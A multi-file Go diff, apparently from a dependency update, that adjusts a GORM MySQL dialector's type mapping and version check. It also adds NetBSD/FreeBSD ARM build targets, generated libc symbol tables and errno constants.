// ClauseFor for clause.ClauseBuilder FOR key
|
||||
ClauseFor = "FOR"
|
||||
)
|
||||
|
||||
@@ -393,11 +390,11 @@ func (dialector Dialector) getSchemaStringType(field *schema.Field) string {
|
||||
}
|
||||
|
||||
func (dialector Dialector) getSchemaTimeType(field *schema.Field) string {
|
||||
precision := ""
|
||||
if !dialector.DisableDatetimePrecision && field.Precision == 0 {
|
||||
field.Precision = *dialector.DefaultDatetimePrecision
|
||||
}
|
||||
|
||||
var precision string
|
||||
if field.Precision > 0 {
|
||||
precision = fmt.Sprintf("(%d)", field.Precision)
|
||||
}
|
||||
@@ -421,27 +418,31 @@ func (dialector Dialector) getSchemaBytesType(field *schema.Field) string {
|
||||
}
|
||||
|
||||
func (dialector Dialector) getSchemaIntAndUnitType(field *schema.Field) string {
|
||||
sqlType := "bigint"
|
||||
constraint := func(sqlType string) string {
|
||||
if field.DataType == schema.Uint {
|
||||
sqlType += " unsigned"
|
||||
}
|
||||
if field.NotNull {
|
||||
sqlType += " NOT NULL"
|
||||
}
|
||||
if field.AutoIncrement {
|
||||
sqlType += " AUTO_INCREMENT"
|
||||
}
|
||||
return sqlType
|
||||
}
|
||||
|
||||
switch {
|
||||
case field.Size <= 8:
|
||||
sqlType = "tinyint"
|
||||
return constraint("tinyint")
|
||||
case field.Size <= 16:
|
||||
sqlType = "smallint"
|
||||
return constraint("smallint")
|
||||
case field.Size <= 24:
|
||||
sqlType = "mediumint"
|
||||
return constraint("mediumint")
|
||||
case field.Size <= 32:
|
||||
sqlType = "int"
|
||||
return constraint("int")
|
||||
default:
|
||||
return constraint("bigint")
|
||||
}
|
||||
|
||||
if field.DataType == schema.Uint {
|
||||
sqlType += " unsigned"
|
||||
}
|
||||
|
||||
if field.AutoIncrement {
|
||||
sqlType += " AUTO_INCREMENT"
|
||||
}
|
||||
|
||||
return sqlType
|
||||
}
|
||||
|
||||
func (dialector Dialector) getSchemaCustomType(field *schema.Field) string {
|
||||
@@ -462,23 +463,25 @@ func (dialector Dialector) RollbackTo(tx *gorm.DB, name string) error {
|
||||
return tx.Exec("ROLLBACK TO SAVEPOINT " + name).Error
|
||||
}
|
||||
|
||||
var versionTrimerRegexp = regexp.MustCompile(`^(\d+).*$`)
|
||||
|
||||
// checkVersion newer or equal returns true, old returns false
|
||||
func checkVersion(newVersion, oldVersion string) bool {
|
||||
if newVersion == oldVersion {
|
||||
return true
|
||||
}
|
||||
|
||||
newVersions := strings.Split(newVersion, ".")
|
||||
oldVersions := strings.Split(oldVersion, ".")
|
||||
var (
|
||||
versionTrimmerRegexp = regexp.MustCompile(`^(\d+).*$`)
|
||||
|
||||
newVersions = strings.Split(newVersion, ".")
|
||||
oldVersions = strings.Split(oldVersion, ".")
|
||||
)
|
||||
for idx, nv := range newVersions {
|
||||
if len(oldVersions) <= idx {
|
||||
return true
|
||||
}
|
||||
|
||||
nvi, _ := strconv.Atoi(versionTrimerRegexp.ReplaceAllString(nv, "$1"))
|
||||
ovi, _ := strconv.Atoi(versionTrimerRegexp.ReplaceAllString(oldVersions[idx], "$1"))
|
||||
nvi, _ := strconv.Atoi(versionTrimmerRegexp.ReplaceAllString(nv, "$1"))
|
||||
ovi, _ := strconv.Atoi(versionTrimmerRegexp.ReplaceAllString(oldVersions[idx], "$1"))
|
||||
if nvi == ovi {
|
||||
continue
|
||||
}
|
||||
|
||||
+10
@@ -64,12 +64,22 @@ freebsd_arm:
|
||||
go generate 2>&1 | tee log-generate
|
||||
go build -v ./...
|
||||
|
||||
freebsd_arm64:
|
||||
go run addport.go freebsd_amd64 freebsd_arm64
|
||||
go build -v ./...
|
||||
|
||||
# only on netbsd/amd64
|
||||
netbsd_amd64:
|
||||
@echo "Should be executed only on netbsd/amd64."
|
||||
go generate 2>&1 | tee log-generate
|
||||
go build -v ./...
|
||||
|
||||
# only on netbsd/arm
|
||||
netbsd_arm:
|
||||
@echo "Should be executed only on netbsd/arm."
|
||||
go generate 2>&1 | tee log-generate
|
||||
go build -v ./...
|
||||
|
||||
linux_amd64:
|
||||
@echo "Should be executed only on linux/amd64."
|
||||
go generate 2>&1 | tee log-generate
|
||||
|
||||
+2
@@ -26,6 +26,8 @@ do
|
||||
GOOS=linux GOARCH=s390x go test -tags=$tag -c -o /dev/null
|
||||
GOOS=netbsd GOARCH=amd64 go build -tags=$tag -v ./...
|
||||
GOOS=netbsd GOARCH=amd64 go test -tags=$tag -c -o /dev/null
|
||||
GOOS=netbsd GOARCH=arm go build -tags=$tag -v ./...
|
||||
GOOS=netbsd GOARCH=arm go test -tags=$tag -c -o /dev/null
|
||||
GOOS=openbsd GOARCH=386 go build -tags=$tag -v ./...
|
||||
GOOS=openbsd GOARCH=386 go test -tags=$tag -c -o /dev/null
|
||||
GOOS=openbsd GOARCH=amd64 go build -tags=$tag -v ./...
|
||||
|
||||
+5
@@ -9,6 +9,8 @@ var CAPI = map[string]struct{}{
|
||||
"_ThreadRuneLocale": {},
|
||||
"___errno_location": {},
|
||||
"___runetype": {},
|
||||
"___tolower": {},
|
||||
"___toupper": {},
|
||||
"__assert": {},
|
||||
"__assert_fail": {},
|
||||
"__builtin___memcpy_chk": {},
|
||||
@@ -150,6 +152,9 @@ var CAPI = map[string]struct{}{
|
||||
"backtrace_symbols_fd": {},
|
||||
"bind": {},
|
||||
"bsearch": {},
|
||||
"bswap16": {},
|
||||
"bswap32": {},
|
||||
"bswap64": {},
|
||||
"bzero": {},
|
||||
"calloc": {},
|
||||
"ceil": {},
|
||||
|
||||
+5
@@ -9,6 +9,8 @@ var CAPI = map[string]struct{}{
|
||||
"_ThreadRuneLocale": {},
|
||||
"___errno_location": {},
|
||||
"___runetype": {},
|
||||
"___tolower": {},
|
||||
"___toupper": {},
|
||||
"__assert": {},
|
||||
"__assert_fail": {},
|
||||
"__builtin___memcpy_chk": {},
|
||||
@@ -150,6 +152,9 @@ var CAPI = map[string]struct{}{
|
||||
"backtrace_symbols_fd": {},
|
||||
"bind": {},
|
||||
"bsearch": {},
|
||||
"bswap16": {},
|
||||
"bswap32": {},
|
||||
"bswap64": {},
|
||||
"bzero": {},
|
||||
"calloc": {},
|
||||
"ceil": {},
|
||||
|
||||
+5
@@ -9,6 +9,8 @@ var CAPI = map[string]struct{}{
|
||||
"_ThreadRuneLocale": {},
|
||||
"___errno_location": {},
|
||||
"___runetype": {},
|
||||
"___tolower": {},
|
||||
"___toupper": {},
|
||||
"__assert": {},
|
||||
"__assert_fail": {},
|
||||
"__builtin___memcpy_chk": {},
|
||||
@@ -150,6 +152,9 @@ var CAPI = map[string]struct{}{
|
||||
"backtrace_symbols_fd": {},
|
||||
"bind": {},
|
||||
"bsearch": {},
|
||||
"bswap16": {},
|
||||
"bswap32": {},
|
||||
"bswap64": {},
|
||||
"bzero": {},
|
||||
"calloc": {},
|
||||
"ceil": {},
|
||||
|
||||
+5
@@ -9,6 +9,8 @@ var CAPI = map[string]struct{}{
|
||||
"_ThreadRuneLocale": {},
|
||||
"___errno_location": {},
|
||||
"___runetype": {},
|
||||
"___tolower": {},
|
||||
"___toupper": {},
|
||||
"__assert": {},
|
||||
"__assert_fail": {},
|
||||
"__builtin___memcpy_chk": {},
|
||||
@@ -150,6 +152,9 @@ var CAPI = map[string]struct{}{
|
||||
"backtrace_symbols_fd": {},
|
||||
"bind": {},
|
||||
"bsearch": {},
|
||||
"bswap16": {},
|
||||
"bswap32": {},
|
||||
"bswap64": {},
|
||||
"bzero": {},
|
||||
"calloc": {},
|
||||
"ceil": {},
|
||||
|
||||
+3
@@ -151,6 +151,9 @@ var CAPI = map[string]struct{}{
|
||||
"backtrace_symbols_fd": {},
|
||||
"bind": {},
|
||||
"bsearch": {},
|
||||
"bswap16": {},
|
||||
"bswap32": {},
|
||||
"bswap64": {},
|
||||
"bzero": {},
|
||||
"calloc": {},
|
||||
"ceil": {},
|
||||
|
||||
+499
@@ -0,0 +1,499 @@
|
||||
// Code generated by 'go generate' - DO NOT EDIT.
|
||||
|
||||
package libc // import "modernc.org/libc"
|
||||
|
||||
var CAPI = map[string]struct{}{
|
||||
"_C_ctype_tab_": {},
|
||||
"_IO_putc": {},
|
||||
"_ThreadRuneLocale": {},
|
||||
"___errno_location": {},
|
||||
"___runetype": {},
|
||||
"__assert": {},
|
||||
"__assert13": {},
|
||||
"__assert_fail": {},
|
||||
"__builtin___memcpy_chk": {},
|
||||
"__builtin___memmove_chk": {},
|
||||
"__builtin___memset_chk": {},
|
||||
"__builtin___snprintf_chk": {},
|
||||
"__builtin___sprintf_chk": {},
|
||||
"__builtin___strcat_chk": {},
|
||||
"__builtin___strcpy_chk": {},
|
||||
"__builtin___strncpy_chk": {},
|
||||
"__builtin___vsnprintf_chk": {},
|
||||
"__builtin_abort": {},
|
||||
"__builtin_abs": {},
|
||||
"__builtin_add_overflowInt64": {},
|
||||
"__builtin_add_overflowUint32": {},
|
||||
"__builtin_add_overflowUint64": {},
|
||||
"__builtin_bswap16": {},
|
||||
"__builtin_bswap32": {},
|
||||
"__builtin_bswap64": {},
|
||||
"__builtin_bzero": {},
|
||||
"__builtin_clz": {},
|
||||
"__builtin_clzl": {},
|
||||
"__builtin_clzll": {},
|
||||
"__builtin_constant_p_impl": {},
|
||||
"__builtin_copysign": {},
|
||||
"__builtin_copysignf": {},
|
||||
"__builtin_copysignl": {},
|
||||
"__builtin_exit": {},
|
||||
"__builtin_expect": {},
|
||||
"__builtin_fabs": {},
|
||||
"__builtin_fabsf": {},
|
||||
"__builtin_fabsl": {},
|
||||
"__builtin_free": {},
|
||||
"__builtin_getentropy": {},
|
||||
"__builtin_huge_val": {},
|
||||
"__builtin_huge_valf": {},
|
||||
"__builtin_inf": {},
|
||||
"__builtin_inff": {},
|
||||
"__builtin_infl": {},
|
||||
"__builtin_isnan": {},
|
||||
"__builtin_isunordered": {},
|
||||
"__builtin_llabs": {},
|
||||
"__builtin_malloc": {},
|
||||
"__builtin_memcmp": {},
|
||||
"__builtin_memcpy": {},
|
||||
"__builtin_memset": {},
|
||||
"__builtin_mmap": {},
|
||||
"__builtin_mul_overflowInt64": {},
|
||||
"__builtin_mul_overflowUint128": {},
|
||||
"__builtin_mul_overflowUint64": {},
|
||||
"__builtin_nan": {},
|
||||
"__builtin_nanf": {},
|
||||
"__builtin_nanl": {},
|
||||
"__builtin_object_size": {},
|
||||
"__builtin_popcount": {},
|
||||
"__builtin_popcountl": {},
|
||||
"__builtin_prefetch": {},
|
||||
"__builtin_printf": {},
|
||||
"__builtin_snprintf": {},
|
||||
"__builtin_sprintf": {},
|
||||
"__builtin_strchr": {},
|
||||
"__builtin_strcmp": {},
|
||||
"__builtin_strcpy": {},
|
||||
"__builtin_strlen": {},
|
||||
"__builtin_sub_overflowInt64": {},
|
||||
"__builtin_trap": {},
|
||||
"__builtin_unreachable": {},
|
||||
"__ccgo_dmesg": {},
|
||||
"__ccgo_getMutexType": {},
|
||||
"__ccgo_in6addr_anyp": {},
|
||||
"__ccgo_pthreadAttrGetDetachState": {},
|
||||
"__ccgo_pthreadMutexattrGettype": {},
|
||||
"__ccgo_sqlite3_log": {},
|
||||
"__cmsg_nxthdr": {},
|
||||
"__ctype_get_mb_cur_max": {},
|
||||
"__errno": {},
|
||||
"__errno_location": {},
|
||||
"__error": {},
|
||||
"__floatscan": {},
|
||||
"__h_errno_location": {},
|
||||
"__inet_aton": {},
|
||||
"__inet_ntoa": {},
|
||||
"__intscan": {},
|
||||
"__isalnum_l": {},
|
||||
"__isalpha_l": {},
|
||||
"__isdigit_l": {},
|
||||
"__isnan": {},
|
||||
"__isnanf": {},
|
||||
"__isnanl": {},
|
||||
"__isoc99_sscanf": {},
|
||||
"__isprint_l": {},
|
||||
"__isthreaded": {},
|
||||
"__lookup_ipliteral": {},
|
||||
"__lookup_name": {},
|
||||
"__lookup_serv": {},
|
||||
"__mb_sb_limit": {},
|
||||
"__runes_for_locale": {},
|
||||
"__sF": {},
|
||||
"__shgetc": {},
|
||||
"__shlim": {},
|
||||
"__srget": {},
|
||||
"__stderrp": {},
|
||||
"__stdinp": {},
|
||||
"__stdoutp": {},
|
||||
"__swbuf": {},
|
||||
"__sync_add_and_fetch_uint32": {},
|
||||
"__sync_sub_and_fetch_uint32": {},
|
||||
"__syscall1": {},
|
||||
"__syscall3": {},
|
||||
"__syscall4": {},
|
||||
"__toread": {},
|
||||
"__toread_needs_stdio_exit": {},
|
||||
"__uflow": {},
|
||||
"__xuname": {},
|
||||
"_ctype_tab_": {},
|
||||
"_exit": {},
|
||||
"_longjmp": {},
|
||||
"_obstack_begin": {},
|
||||
"_obstack_newchunk": {},
|
||||
"_setjmp": {},
|
||||
"_tolower_tab_": {},
|
||||
"_toupper_tab_": {},
|
||||
"abort": {},
|
||||
"abs": {},
|
||||
"accept": {},
|
||||
"access": {},
|
||||
"acos": {},
|
||||
"acosh": {},
|
||||
"alarm": {},
|
||||
"asin": {},
|
||||
"asinh": {},
|
||||
"atan": {},
|
||||
"atan2": {},
|
||||
"atanh": {},
|
||||
"atexit": {},
|
||||
"atof": {},
|
||||
"atoi": {},
|
||||
"atol": {},
|
||||
"backtrace": {},
|
||||
"backtrace_symbols_fd": {},
|
||||
"bind": {},
|
||||
"bsearch": {},
|
||||
"bswap16": {},
|
||||
"bswap32": {},
|
||||
"bswap64": {},
|
||||
"bzero": {},
|
||||
"calloc": {},
|
||||
"ceil": {},
|
||||
"ceilf": {},
|
||||
"cfgetospeed": {},
|
||||
"cfsetispeed": {},
|
||||
"cfsetospeed": {},
|
||||
"chdir": {},
|
||||
"chflags": {},
|
||||
"chmod": {},
|
||||
"chown": {},
|
||||
"clock_gettime": {},
|
||||
"close": {},
|
||||
"closedir": {},
|
||||
"confstr": {},
|
||||
"connect": {},
|
||||
"copysign": {},
|
||||
"copysignf": {},
|
||||
"copysignl": {},
|
||||
"cos": {},
|
||||
"cosf": {},
|
||||
"cosh": {},
|
||||
"ctime": {},
|
||||
"ctime_r": {},
|
||||
"dlclose": {},
|
||||
"dlerror": {},
|
||||
"dlopen": {},
|
||||
"dlsym": {},
|
||||
"dup2": {},
|
||||
"endpwent": {},
|
||||
"environ": {},
|
||||
"execvp": {},
|
||||
"exit": {},
|
||||
"exp": {},
|
||||
"fabs": {},
|
||||
"fabsf": {},
|
||||
"fabsl": {},
|
||||
"fchmod": {},
|
||||
"fchown": {},
|
||||
"fclose": {},
|
||||
"fcntl": {},
|
||||
"fcntl64": {},
|
||||
"fdopen": {},
|
||||
"ferror": {},
|
||||
"fflush": {},
|
||||
"fgetc": {},
|
||||
"fgets": {},
|
||||
"fileno": {},
|
||||
"floor": {},
|
||||
"fmod": {},
|
||||
"fmodl": {},
|
||||
"fopen": {},
|
||||
"fopen64": {},
|
||||
"fork": {},
|
||||
"fprintf": {},
|
||||
"fputc": {},
|
||||
"fputs": {},
|
||||
"fread": {},
|
||||
"free": {},
|
||||
"freeaddrinfo": {},
|
||||
"frexp": {},
|
||||
"fscanf": {},
|
||||
"fseek": {},
|
||||
"fstat": {},
|
||||
"fstat64": {},
|
||||
"fsync": {},
|
||||
"ftell": {},
|
||||
"ftruncate": {},
|
||||
"fts64_close": {},
|
||||
"fts64_open": {},
|
||||
"fts64_read": {},
|
||||
"fts_close": {},
|
||||
"fts_open": {},
|
||||
"fts_read": {},
|
||||
"fwrite": {},
|
||||
"gai_strerror": {},
|
||||
"getaddrinfo": {},
|
||||
"getc": {},
|
||||
"getcwd": {},
|
||||
"getegid": {},
|
||||
"getentropy": {},
|
||||
"getenv": {},
|
||||
"geteuid": {},
|
||||
"getgid": {},
|
||||
"getgrgid": {},
|
||||
"getgrgid_r": {},
|
||||
"getgrnam": {},
|
||||
"getgrnam_r": {},
|
||||
"gethostbyaddr": {},
|
||||
"gethostbyaddr_r": {},
|
||||
"gethostbyname": {},
|
||||
"gethostbyname2": {},
|
||||
"gethostbyname2_r": {},
|
||||
"gethostname": {},
|
||||
"getnameinfo": {},
|
||||
"getpeername": {},
|
||||
"getpid": {},
|
||||
"getpwnam": {},
|
||||
"getpwnam_r": {},
|
||||
"getpwuid": {},
|
||||
"getpwuid_r": {},
|
||||
"getresgid": {},
|
||||
"getresuid": {},
|
||||
"getrlimit": {},
|
||||
"getrlimit64": {},
|
||||
"getrusage": {},
|
||||
"getservbyname": {},
|
||||
"getsockname": {},
|
||||
"getsockopt": {},
|
||||
"gettimeofday": {},
|
||||
"getuid": {},
|
||||
"gmtime_r": {},
|
||||
"h_errno": {},
|
||||
"htonl": {},
|
||||
"htons": {},
|
||||
"hypot": {},
|
||||
"inet_ntoa": {},
|
||||
"inet_ntop": {},
|
||||
"inet_pton": {},
|
||||
"initstate": {},
|
||||
"initstate_r": {},
|
||||
"ioctl": {},
|
||||
"isalnum": {},
|
||||
"isalpha": {},
|
||||
"isascii": {},
|
||||
"isatty": {},
|
||||
"isdigit": {},
|
||||
"isnan": {},
|
||||
"isnanf": {},
|
||||
"isnanl": {},
|
||||
"isprint": {},
|
||||
"kill": {},
|
||||
"ldexp": {},
|
||||
"link": {},
|
||||
"listen": {},
|
||||
"llabs": {},
|
||||
"localtime": {},
|
||||
"localtime_r": {},
|
||||
"log": {},
|
||||
"log10": {},
|
||||
"longjmp": {},
|
||||
"lrand48": {},
|
||||
"lseek": {},
|
||||
"lseek64": {},
|
||||
"lstat": {},
|
||||
"lstat64": {},
|
||||
"malloc": {},
|
||||
"mblen": {},
|
||||
"mbstowcs": {},
|
||||
"mbtowc": {},
|
||||
"memchr": {},
|
||||
"memcmp": {},
|
||||
"memcpy": {},
|
||||
"memmove": {},
|
||||
"memset": {},
|
||||
"mkdir": {},
|
||||
"mkfifo": {},
|
||||
"mknod": {},
|
||||
"mkostemp": {},
|
||||
"mkstemp": {},
|
||||
"mkstemp64": {},
|
||||
"mkstemps": {},
|
||||
"mkstemps64": {},
|
||||
"mktime": {},
|
||||
"mmap": {},
|
||||
"modf": {},
|
||||
"munmap": {},
|
||||
"nl_langinfo": {},
|
||||
"ntohs": {},
|
||||
"obstack_free": {},
|
||||
"obstack_vprintf": {},
|
||||
"open": {},
|
||||
"open64": {},
|
||||
"opendir": {},
|
||||
"openpty": {},
|
||||
"pathconf": {},
|
||||
"pause": {},
|
||||
"pclose": {},
|
||||
"perror": {},
|
||||
"pipe": {},
|
||||
"poll": {},
|
||||
"popen": {},
|
||||
"pow": {},
|
||||
"printf": {},
|
||||
"pselect": {},
|
||||
"pthread_attr_destroy": {},
|
||||
"pthread_attr_getdetachstate": {},
|
||||
"pthread_attr_init": {},
|
||||
"pthread_attr_setdetachstate": {},
|
||||
"pthread_attr_setscope": {},
|
||||
"pthread_attr_setstacksize": {},
|
||||
"pthread_cond_broadcast": {},
|
||||
"pthread_cond_destroy": {},
|
||||
"pthread_cond_init": {},
|
||||
"pthread_cond_signal": {},
|
||||
"pthread_cond_timedwait": {},
|
||||
"pthread_cond_wait": {},
|
||||
"pthread_create": {},
|
||||
"pthread_detach": {},
|
||||
"pthread_equal": {},
|
||||
"pthread_exit": {},
|
||||
"pthread_getspecific": {},
|
||||
"pthread_join": {},
|
||||
"pthread_key_create": {},
|
||||
"pthread_key_delete": {},
|
||||
"pthread_mutex_destroy": {},
|
||||
"pthread_mutex_init": {},
|
||||
"pthread_mutex_lock": {},
|
||||
"pthread_mutex_trylock": {},
|
||||
"pthread_mutex_unlock": {},
|
||||
"pthread_mutexattr_destroy": {},
|
||||
"pthread_mutexattr_init": {},
|
||||
"pthread_mutexattr_settype": {},
|
||||
"pthread_self": {},
|
||||
"pthread_setspecific": {},
|
||||
"putc": {},
|
||||
"putchar": {},
|
||||
"puts": {},
|
||||
"qsort": {},
|
||||
"raise": {},
|
||||
"rand": {},
|
||||
"random": {},
|
||||
"random_r": {},
|
||||
"read": {},
|
||||
"readdir": {},
|
||||
"readdir64": {},
|
||||
"readlink": {},
|
||||
"readv": {},
|
||||
"realloc": {},
|
||||
"reallocarray": {},
|
||||
"realpath": {},
|
||||
"recv": {},
|
||||
"recvfrom": {},
|
||||
"recvmsg": {},
|
||||
"remove": {},
|
||||
"rename": {},
|
||||
"rewind": {},
|
||||
"rindex": {},
|
||||
"rint": {},
|
||||
"rmdir": {},
|
||||
"round": {},
|
||||
"scalbn": {},
|
||||
"scalbnl": {},
|
||||
"sched_yield": {},
|
||||
"select": {},
|
||||
"send": {},
|
||||
"sendmsg": {},
|
||||
"sendto": {},
|
||||
"setbuf": {},
|
||||
"setenv": {},
|
||||
"setjmp": {},
|
||||
"setlocale": {},
|
||||
"setrlimit": {},
|
||||
"setrlimit64": {},
|
||||
"setsid": {},
|
||||
"setsockopt": {},
|
||||
"setstate": {},
|
||||
"setvbuf": {},
|
||||
"shmat": {},
|
||||
"shmctl": {},
|
||||
"shmdt": {},
|
||||
"shutdown": {},
|
||||
"sigaction": {},
|
||||
"signal": {},
|
||||
"sin": {},
|
||||
"sinf": {},
|
||||
"sinh": {},
|
||||
"sleep": {},
|
||||
"snprintf": {},
|
||||
"socket": {},
|
||||
"sprintf": {},
|
||||
"sqrt": {},
|
||||
"srand48": {},
|
||||
"sscanf": {},
|
||||
"stat": {},
|
||||
"stat64": {},
|
||||
"stderr": {},
|
||||
"stdin": {},
|
||||
"stdout": {},
|
||||
"strcasecmp": {},
|
||||
"strcat": {},
|
||||
"strchr": {},
|
||||
"strcmp": {},
|
||||
"strcpy": {},
|
||||
"strcspn": {},
|
||||
"strdup": {},
|
||||
"strerror": {},
|
||||
"strerror_r": {},
|
||||
"strlen": {},
|
||||
"strncmp": {},
|
||||
"strncpy": {},
|
||||
"strnlen": {},
|
||||
"strpbrk": {},
|
||||
"strrchr": {},
|
||||
"strspn": {},
|
||||
"strstr": {},
|
||||
"strtod": {},
|
||||
"strtof": {},
|
||||
"strtoimax": {},
|
||||
"strtol": {},
|
||||
"strtold": {},
|
||||
"strtoll": {},
|
||||
"strtoul": {},
|
||||
"strtoull": {},
|
||||
"strtoumax": {},
|
||||
"symlink": {},
|
||||
"sysconf": {},
|
||||
"system": {},
|
||||
"tan": {},
|
||||
"tanh": {},
|
||||
"tcgetattr": {},
|
||||
"tcsendbreak": {},
|
||||
"tcsetattr": {},
|
||||
"time": {},
|
||||
"tmpfile": {},
|
||||
"tolower": {},
|
||||
"toupper": {},
|
||||
"trunc": {},
|
||||
"tzset": {},
|
||||
"umask": {},
|
||||
"uname": {},
|
||||
"ungetc": {},
|
||||
"unlink": {},
|
||||
"unsetenv": {},
|
||||
"usleep": {},
|
||||
"utime": {},
|
||||
"utimes": {},
|
||||
"uuid_generate_random": {},
|
||||
"uuid_parse": {},
|
||||
"uuid_unparse": {},
|
||||
"vasprintf": {},
|
||||
"vfprintf": {},
|
||||
"vprintf": {},
|
||||
"vsnprintf": {},
|
||||
"vsprintf": {},
|
||||
"waitpid": {},
|
||||
"wcschr": {},
|
||||
"wctomb": {},
|
||||
"wcwidth": {},
|
||||
"write": {},
|
||||
"writev": {},
|
||||
"zero_struct_address": {},
|
||||
}
|
||||
+3
@@ -150,6 +150,9 @@ var CAPI = map[string]struct{}{
|
||||
"backtrace_symbols_fd": {},
|
||||
"bind": {},
|
||||
"bsearch": {},
|
||||
"bswap16": {},
|
||||
"bswap32": {},
|
||||
"bswap64": {},
|
||||
"bzero": {},
|
||||
"calloc": {},
|
||||
"ceil": {},
|
||||
|
||||
+3
@@ -156,6 +156,9 @@ var CAPI = map[string]struct{}{
|
||||
"backtrace_symbols_fd": {},
|
||||
"bind": {},
|
||||
"bsearch": {},
|
||||
"bswap16": {},
|
||||
"bswap32": {},
|
||||
"bswap64": {},
|
||||
"bzero": {},
|
||||
"calloc": {},
|
||||
"ceil": {},
|
||||
|
||||
+3
@@ -156,6 +156,9 @@ var CAPI = map[string]struct{}{
|
||||
"backtrace_symbols_fd": {},
|
||||
"bind": {},
|
||||
"bsearch": {},
|
||||
"bswap16": {},
|
||||
"bswap32": {},
|
||||
"bswap64": {},
|
||||
"bzero": {},
|
||||
"calloc": {},
|
||||
"ceil": {},
|
||||
|
||||
+5
@@ -0,0 +1,5 @@
|
||||
// Code generated by 'ccgo errno/gen.c -crt-import-path -export-defines -export-enums -export-externs X -export-fields F -export-structs -export-typedefs -header -hide _OSSwapInt16,_OSSwapInt32,_OSSwapInt64 -ignore-unsupported-alignment -o errno/errno_netbsd_arm.go -pkgname errno', DO NOT EDIT.
|
||||
|
||||
package errno
|
||||
|
||||
var CAPI = map[string]struct{}{}
|
||||
+4
-4
@@ -118,12 +118,12 @@ const (
|
||||
X_ERRNO_T_DEFINED = 0 // errno.h:203:1:
|
||||
X_FILE_OFFSET_BITS = 64 // <builtin>:25:1:
|
||||
X_LP64 = 1 // <predefined>:1:1:
|
||||
X_Nonnull = 0 // cdefs.h:783:1:
|
||||
X_Null_unspecified = 0 // cdefs.h:785:1:
|
||||
X_Nullable = 0 // cdefs.h:784:1:
|
||||
X_Nonnull = 0 // cdefs.h:790:1:
|
||||
X_Null_unspecified = 0 // cdefs.h:792:1:
|
||||
X_Nullable = 0 // cdefs.h:791:1:
|
||||
X_SYS_CDEFS_H_ = 0 // cdefs.h:39:1:
|
||||
X_SYS_ERRNO_H_ = 0 // errno.h:41:1:
|
||||
Unix = 1 // <predefined>:337:1:
|
||||
Unix = 1 // <predefined>:340:1:
|
||||
)
|
||||
|
||||
type Ptrdiff_t = int64 /* <builtin>:3:26 */
|
||||
|
||||
+4
-4
@@ -118,12 +118,12 @@ const (
|
||||
X_ERRNO_T_DEFINED = 0 // errno.h:203:1:
|
||||
X_FILE_OFFSET_BITS = 64 // <builtin>:25:1:
|
||||
X_LP64 = 1 // <predefined>:1:1:
|
||||
X_Nonnull = 0 // cdefs.h:783:1:
|
||||
X_Null_unspecified = 0 // cdefs.h:785:1:
|
||||
X_Nullable = 0 // cdefs.h:784:1:
|
||||
X_Nonnull = 0 // cdefs.h:790:1:
|
||||
X_Null_unspecified = 0 // cdefs.h:792:1:
|
||||
X_Nullable = 0 // cdefs.h:791:1:
|
||||
X_SYS_CDEFS_H_ = 0 // cdefs.h:39:1:
|
||||
X_SYS_ERRNO_H_ = 0 // errno.h:41:1:
|
||||
Unix = 1 // <predefined>:337:1:
|
||||
Unix = 1 // <predefined>:340:1:
|
||||
)
|
||||
|
||||
type Ptrdiff_t = int64 /* <builtin>:3:26 */
|
||||
|
||||
+141
@@ -0,0 +1,141 @@
|
||||
// Code generated by 'ccgo errno/gen.c -crt-import-path "" -export-defines "" -export-enums "" -export-externs X -export-fields F -export-structs "" -export-typedefs "" -header -hide _OSSwapInt16,_OSSwapInt32,_OSSwapInt64 -ignore-unsupported-alignment -o errno/errno_netbsd_arm.go -pkgname errno', DO NOT EDIT.
|
||||
|
||||
package errno
|
||||
|
||||
import (
|
||||
"math"
|
||||
"reflect"
|
||||
"sync/atomic"
|
||||
"unsafe"
|
||||
)
|
||||
|
||||
var _ = math.Pi
|
||||
var _ reflect.Kind
|
||||
var _ atomic.Value
|
||||
var _ unsafe.Pointer
|
||||
|
||||
const (
|
||||
E2BIG = 7 // errno.h:48:1:
|
||||
EACCES = 13 // errno.h:55:1:
|
||||
EADDRINUSE = 48 // errno.h:97:1:
|
||||
EADDRNOTAVAIL = 49 // errno.h:98:1:
|
||||
EAFNOSUPPORT = 47 // errno.h:96:1:
|
||||
EAGAIN = 35 // errno.h:81:1:
|
||||
EALREADY = 37 // errno.h:84:1:
|
||||
EAUTH = 80 // errno.h:140:1:
|
||||
EBADF = 9 // errno.h:50:1:
|
||||
EBADMSG = 88 // errno.h:159:1:
|
||||
EBADRPC = 72 // errno.h:130:1:
|
||||
EBUSY = 16 // errno.h:58:1:
|
||||
ECANCELED = 87 // errno.h:156:1:
|
||||
ECHILD = 10 // errno.h:51:1:
|
||||
ECONNABORTED = 53 // errno.h:104:1:
|
||||
ECONNREFUSED = 61 // errno.h:112:1:
|
||||
ECONNRESET = 54 // errno.h:105:1:
|
||||
EDEADLK = 11 // errno.h:52:1:
|
||||
EDESTADDRREQ = 39 // errno.h:88:1:
|
||||
EDOM = 33 // errno.h:77:1:
|
||||
EDQUOT = 69 // errno.h:125:1:
|
||||
EEXIST = 17 // errno.h:59:1:
|
||||
EFAULT = 14 // errno.h:56:1:
|
||||
EFBIG = 27 // errno.h:69:1:
|
||||
EFTYPE = 79 // errno.h:139:1:
|
||||
EHOSTDOWN = 64 // errno.h:118:1:
|
||||
EHOSTUNREACH = 65 // errno.h:119:1:
|
||||
EIDRM = 82 // errno.h:144:1:
|
||||
EILSEQ = 85 // errno.h:149:1:
|
||||
EINPROGRESS = 36 // errno.h:83:1:
|
||||
EINTR = 4 // errno.h:45:1:
|
||||
EINVAL = 22 // errno.h:64:1:
|
||||
EIO = 5 // errno.h:46:1:
|
||||
EISCONN = 56 // errno.h:107:1:
|
||||
EISDIR = 21 // errno.h:63:1:
|
||||
ELAST = 96 // errno.h:175:1:
|
||||
ELOOP = 62 // errno.h:114:1:
|
||||
EMFILE = 24 // errno.h:66:1:
|
||||
EMLINK = 31 // errno.h:73:1:
|
||||
EMSGSIZE = 40 // errno.h:89:1:
|
||||
EMULTIHOP = 94 // errno.h:171:1:
|
||||
ENAMETOOLONG = 63 // errno.h:115:1:
|
||||
ENEEDAUTH = 81 // errno.h:141:1:
|
||||
ENETDOWN = 50 // errno.h:101:1:
|
||||
ENETRESET = 52 // errno.h:103:1:
|
||||
ENETUNREACH = 51 // errno.h:102:1:
|
||||
ENFILE = 23 // errno.h:65:1:
|
||||
ENOATTR = 93 // errno.h:168:1:
|
||||
ENOBUFS = 55 // errno.h:106:1:
|
||||
ENODATA = 89 // errno.h:162:1:
|
||||
ENODEV = 19 // errno.h:61:1:
|
||||
ENOENT = 2 // errno.h:43:1:
|
||||
